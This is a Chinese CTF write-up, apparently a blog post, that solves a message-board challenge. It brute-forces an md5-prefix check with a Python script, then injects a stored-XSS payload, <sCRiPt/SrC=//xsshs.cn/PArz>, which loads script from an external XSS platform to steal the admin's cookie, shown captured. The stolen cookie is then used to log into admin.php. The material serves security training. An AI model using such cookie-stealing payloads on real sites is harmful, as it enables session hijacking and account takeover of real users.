XSS攻击--获取cookie

跨站脚本攻击

Posted by SGQ on March 14, 2020

原理:

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

题目:

Leave a message:( )

substr(md5(‘ ‘),0,6) === ‘51a081’

考察点:

1.XSS攻击获取cookie

2.md5截断绕过

知识点:

实例

从字符串中返回 “world”:

<?php
echo substr("Hello world",6);
?>

语法:substr(string,start,length)

start 必需。规定在字符串的何处开始。 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾的指定位置开始 0 - 在字符串中的第一个字符处开始 length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。 正数 - 从 start 参数所在的位置返回 负数 - 从字符串末端返回

解题过程:

1. 首先分析页面代码,发现留言框里面可能出现xss漏洞,然后我发现要想成功插入留言内容,必须需要满足substr(md5(' '),0,6) === '51a081' 的条件,此条代码的含义是括号中的字符串的md5值前六位为51a081,可以通过python脚本进行字典爆破。

import hashlib
for i in range (100000000):
    a=str(i)
    md5=hashlib.md5(a.encode('utf-8')).hexdigest()
    if md5[0:6]=='51a081':
        break
print (a)

得到结果:252192

2. 允许插入的条件满足了,然后就是利用XSS平台进行获取cookie。先在XSS平台,创建项目,选取默认设置即可。然后将项目后的XSS代码,<sCRiPt/SrC=//xsshs.cn/PArz>插入留言框,等待几分钟,发现XSS平台已经得到了管理员的cookie


location : http://web/usermessages/1584098792-443ed1dd377f4a44f536c2830eb8f606.html toplocation : http://web/usermessages/1584098792-443ed1dd377f4a44f536c2830eb8f606.html cookie : token=a9011a0e551f181c1c526881befac44d opener :


3. 将cookie复制下来,用菜刀进行登录admin.php界面,拿到flag!

参考链接(一)–XSS简介

参考链接(二)–XSS平台的使用

谢谢您的查阅,欢迎来访!